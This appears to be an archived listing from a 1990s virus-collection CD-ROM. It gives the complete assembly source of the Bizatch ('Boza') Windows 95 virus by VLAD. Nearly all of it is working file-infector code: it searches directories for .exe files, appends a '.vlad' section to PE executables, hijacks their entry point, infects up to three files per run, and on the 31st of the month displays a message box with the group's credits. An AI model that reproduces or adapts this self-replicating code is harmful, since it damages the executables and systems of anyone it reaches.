home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / WINVCOLL.ZIP / WINMADEF.ZIP / BIZATCH.ZIP / BOZA.ASM < prev    next >
Assembly Source File  |  1996-02-11  |  8KB  |  428 lines

  1. ;Here is the beta of Bizatch (the actual virus code) that AV authors
  2. ;around the world are calling "Boza".
  3. ;
  4. ;-----------------------------------------------------------------------------
  5. vladseg segment para public 'vlad'
  6. assume cs:vladseg
  7. vstart:
  8. call recalc
  9. recalc:
  10. pop ebp
  11. mov eax,ebp
  12. db 2dh
  13. subme dd 30000h + (recalc - vstart)
  14. push eax
  15. sub ebp,offset recalc
  16.  
  17. mov eax,[ebp + offset kern2]
  18. cmp dword ptr [eax],5350fc9ch
  19. jnz notkern2
  20. mov eax,[ebp + offset kern2]
  21. jmp movit
  22. notkern2:
  23. mov eax,[ebp + offset kern1]
  24. cmp dword ptr [eax],5350fc9ch
  25. jnz nopayload
  26. mov eax,[ebp + offset kern1]
  27. movit:
  28. mov [ebp + offset kern],eax
  29.  
  30. cld
  31. lea eax,[ebp + offset orgdir]
  32. push eax
  33. push 255
  34. call GetCurDir
  35.  
  36. mov byte ptr [ebp + offset countinfect],0
  37.  
  38. infectdir:
  39.  
  40. lea eax,[ebp + offset win32_data_thang]
  41. push eax
  42. lea eax,[ebp + offset fname]
  43. push eax
  44. call FindFile
  45.  
  46. mov dword ptr [ebp + offset searchhandle],eax
  47. cmp eax,-1
  48. jz foundnothing
  49.  
  50. gofile:
  51.  
  52. push 0
  53. push dword ptr [ebp + offset fileattr]
  54. push 3
  55. push 0
  56. push 0
  57. push 80000000h + 40000000h
  58. lea eax,[ebp + offset fullname]
  59. push eax
  60. call CreateFile
  61.  
  62. mov dword ptr [ebp + offset ahand],eax
  63. cmp eax,-1
  64. jz findnextone
  65.  
  66. push 0
  67. push 0
  68. push 3ch
  69. push dword ptr [ebp + offset ahand]
  70. call SetFilePointer
  71.  
  72. push 0
  73. lea eax,[ebp + offset bytesread]
  74. push eax
  75. push 4
  76. lea eax,[ebp + offset peheaderoffset]
  77. push eax
  78. push dword ptr [ebp + offset ahand]
  79. call ReadFile
  80.  
  81. push 0
  82. push 0
  83. push dword ptr [ebp + offset peheaderoffset]
  84. push dword ptr [ebp + offset ahand]
  85. call SetFilePointer
  86.  
  87. push 0
  88. lea eax,[ebp + offset bytesread]
  89. push eax
  90. push 58h
  91. lea eax,[ebp + offset peheader]
  92. push eax
  93. push dword ptr [ebp + offset ahand]
  94. call ReadFile
  95.  
  96. cmp word ptr [ebp + offset peheader],'EP'
  97. jnz notape
  98. cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
  99. jz notape
  100.  
  101. push 0
  102. push 0
  103. push dword ptr [ebp + offset peheaderoffset]
  104. push dword ptr [ebp + offset ahand]
  105. call SetFilePointer
  106.  
  107. push 0
  108. lea eax,[ebp + offset bytesread]
  109. push eax
  110. push dword ptr [ebp + offset headersize]
  111. lea eax,[ebp + offset peheader]
  112. push eax
  113. push dword ptr [ebp + offset ahand]
  114. call ReadFile
  115.  
  116. mov word ptr [ebp + offset peheader + 4ch],0F00Dh
  117.  
  118. xor eax,eax
  119. mov ax, word ptr [ebp + offset NtHeaderSize]
  120. add eax,18h
  121. mov dword ptr [ebp + offset ObjectTableoffset],eax
  122.  
  123. mov esi,dword ptr [ebp + offset ObjectTableoffset]
  124. lea eax,[ebp + offset peheader]
  125. add esi,eax
  126. xor eax,eax
  127. mov ax,[ebp + offset numObj]
  128. mov ecx,40
  129. xor edx,edx
  130. mul ecx
  131. add esi,eax
  132.  
  133. inc word ptr [ebp + offset numObj]    ; inc the number of objects
  134.  
  135. lea edi,[ebp + offset newobject]
  136. xchg edi,esi
  137.  
  138. mov eax,[edi-5*8+8]
  139. add eax,[edi-5*8+12]
  140. mov ecx,dword ptr [ebp + offset objalign]
  141. xor edx,edx
  142. div ecx
  143. inc eax
  144. mul ecx
  145. mov dword ptr [ebp + offset RVA],eax
  146.  
  147. mov ecx,dword ptr [ebp + offset filealign]
  148. mov eax,vend-vstart
  149. xor edx,edx
  150. div ecx
  151. inc eax
  152. mul ecx
  153. mov dword ptr [ebp + offset physicalsize],eax
  154.  
  155. mov ecx,dword ptr [ebp + offset objalign]
  156. mov eax,vend - vstart + 1000h
  157. xor edx,edx
  158. div ecx
  159. inc eax
  160. mul ecx
  161. mov dword ptr [ebp + offset virtualsize],eax
  162.  
  163. mov eax,[edi-5*8+20]
  164. add eax,[edi-5*8+16]
  165. mov ecx,dword ptr [ebp + offset filealign]
  166. xor edx,edx
  167. div ecx
  168. inc eax
  169. mul ecx
  170. mov dword ptr [ebp + offset physicaloffset],eax
  171.  
  172. mov eax,vend-vstart+1000h
  173. add eax,dword ptr [ebp + offset imagesize]
  174. mov ecx,[ebp + offset objalign]
  175. xor edx,edx
  176. div ecx
  177. inc eax
  178. mul ecx
  179. mov dword ptr [ebp + offset imagesize],eax
  180.  
  181. mov ecx,10
  182. rep movsd
  183.  
  184. mov eax,dword ptr [ebp + offset RVA]
  185.  
  186. mov ebx,dword ptr [ebp + offset entrypointRVA]
  187. mov dword ptr [ebp + offset entrypointRVA],eax
  188.  
  189. sub eax,ebx
  190. add eax,5
  191.  
  192. mov dword ptr [ebp + offset subme],eax
  193.  
  194. push 0
  195. push 0
  196. push dword ptr [ebp + offset peheaderoffset]
  197. push dword ptr [ebp + offset ahand]
  198. call SetFilePointer
  199.  
  200. push 0
  201. lea eax,[ebp + offset bytesread]
  202. push eax
  203. push dword ptr [ebp + offset headersize]
  204. lea eax,[ebp + offset peheader]
  205. push eax
  206. push dword ptr [ebp + offset ahand]
  207. call WriteFile
  208.  
  209. inc byte ptr [ebp + offset countinfect]
  210.  
  211. push 0
  212. push 0
  213. push dword ptr [ebp + offset physicaloffset]
  214. push dword ptr [ebp + offset ahand]
  215. call SetFilePointer
  216.  
  217. push 0
  218. lea eax,[ebp + offset bytesread]
  219. push eax
  220. push vend-vstart
  221. lea eax,[ebp + offset vstart]
  222. push eax
  223. push dword ptr [ebp + offset ahand]
  224. call WriteFile
  225.  
  226. notape:
  227.  
  228. push dword ptr [ebp + offset ahand]
  229. call CloseFile
  230.  
  231. findnextone:
  232.  
  233. cmp byte ptr [ebp + offset countinfect],3
  234. jz outty
  235.  
  236. lea eax,[ebp + offset win32_data_thang]
  237. push eax
  238. push dword ptr [ebp + offset searchhandle]
  239. call FindNext
  240.  
  241. or eax,eax
  242. jnz gofile
  243.  
  244. foundnothing:
  245.  
  246. xor eax,eax
  247. lea edi,[ebp + offset tempdir]
  248. mov ecx,256/4
  249. rep stosd
  250. lea edi,[ebp + offset tempdir1]
  251. mov ecx,256/4
  252. rep stosd
  253.  
  254. lea esi,[ebp + offset tempdir]
  255. push esi
  256. push 255
  257. call GetCurDir
  258.  
  259. lea eax,[ebp + offset dotdot]
  260. push eax
  261. call SetCurDir
  262.  
  263. lea edi,[ebp + offset tempdir1]
  264. push edi
  265. push 255
  266. call GetCurDir
  267.  
  268. mov ecx,256/4
  269. rep cmpsd
  270. jnz infectdir
  271.  
  272. outty:
  273.  
  274. lea eax,[ebp + offset orgdir]
  275. push eax
  276. call SetCurDir
  277.  
  278. lea eax,[ebp + offset systimestruct]
  279. push eax
  280. call GetTime
  281.  
  282. cmp word ptr [ebp + offset day],31
  283. jnz nopayload
  284.  
  285. push  1000h
  286. lea eax,[ebp + offset boxtitle]
  287. push eax
  288. lea eax,[ebp + offset boxmsg]
  289. push eax
  290. push 0
  291. call MsgBox
  292.  
  293. nopayload:
  294.  
  295. pop eax
  296. jmp eax
  297.  
  298. kern dd 0BFF93B95h
  299. kern1 dd 0BFF93B95h
  300. kern2 dd 0BFF93C1Dh
  301.  
  302. GetCurDir:
  303. push 0BFF77744h
  304. jmp [ebp + offset kern]
  305.  
  306. SetCurDir:
  307. push 0BFF7771Dh
  308. jmp [ebp + offset kern]
  309.  
  310. GetTime:
  311. cmp [ebp + offset kern],0BFF93B95h
  312. jnz gettimekern2
  313. push 0BFF9D0B6h
  314. jmp [ebp + offset kern]
  315. gettimekern2:
  316. push 0BFF9D14eh
  317. jmp [ebp + offset kern]
  318.  
  319. MsgBox:
  320. push 0BFF638D9h
  321. jmp [ebp + offset kern]
  322.  
  323. FindFile:
  324. push 0BFF77893h
  325. jmp [ebp + offset kern]
  326.  
  327. FindNext:
  328. push 0BFF778CBh
  329. jmp [ebp + offset kern]
  330.  
  331. CreateFile:
  332. push 0BFF77817h
  333. jmp [ebp + offset kern]
  334.  
  335. SetFilePointer:
  336. push 0BFF76FA0h
  337. jmp [ebp + offset kern]
  338.  
  339. ReadFile:
  340. push 0BFF75806h
  341. jmp [ebp + offset kern]
  342.  
  343. WriteFile:
  344. push 0BFF7580Dh
  345. jmp [ebp + offset kern]
  346.  
  347. CloseFile:
  348. push 0BFF7BC72h
  349. jmp [ebp + offset kern]
  350.  
  351. countinfect db 0
  352.  
  353. win32_data_thang:
  354. fileattr dd 0
  355. createtime dd 0,0
  356. lastaccesstime dd 0,0
  357. lastwritetime dd 0,0
  358. filesize dd 0,0
  359. resv dd 0,0
  360. fullname db 256 dup (0)
  361. realname db 14 dup (0)
  362.  
  363. boxtitle db "Bizatch by Quantum / VLAD",0
  364. boxmsg db "The taste of fame just got tastier!",0dh
  365.        db "VLAD Australia does it again with the world's first Win95 Virus"
  366.        db 0dh,0dh
  367.        db 9,"From the old school to the new..               ",0dh,0dh
  368.        db 9,"Metabolis",0dh
  369.        db 9,"Qark",0dh
  370.        db 9,"Darkman",0dh
  371.        db 9,"Automag",0dh
  372.        db 9,"Antigen",0dh
  373.        db 9,"RhinceWind",0dh
  374.        db 9,"Quantum",0dh
  375.        db 9,"Absolute Overlord",0dh
  376.        db 9,"CoKe",0
  377.  
  378. message db "Please note: the name of this virus is [Bizatch]"
  379. db " written by Quantum of VLAD",0
  380.  
  381. orgdir db 256 dup (0)
  382. tempdir db 256 dup (0)
  383. tempdir1 db 256 dup (0)
  384. dotdot db "..",0
  385.  
  386. systimestruct:
  387. dw 0,0,0
  388. day dw 0
  389. dw 0,0,0,0
  390.  
  391. searchhandle dd 0
  392. fname db '*.exe',0
  393. ahand dd 0
  394. peheaderoffset dd 0
  395. ObjectTableoffset dd 0
  396. bytesread dd 0
  397.  
  398. newobject:
  399. oname db ".vlad",0,0,0
  400. virtualsize    dd 0
  401. RVA            dd 0
  402. physicalsize   dd 0
  403. physicaloffset dd 0
  404. reserved dd 0,0,0
  405. objectflags    db 40h,0,0,0c0h
  406.  
  407. peheader:
  408. signature dd 0
  409. cputype dw 0
  410. numObj dw 0
  411. db 3*4 dup (0)
  412. NtHeaderSize dw 0
  413. Flags dw 0
  414. db 4*4 dup (0)
  415. entrypointRVA dd 0
  416. db 3*4 dup (0)
  417. objalign dd 0
  418. filealign dd 0
  419. db 4*4 dup (0)
  420. imagesize dd 0
  421. headersize dd 0
  422. vend:
  423. db 1000h dup (0)
  424. ends
  425. end vstart
  426. ;------------------------------------------------------------------------------
  427.  
  428.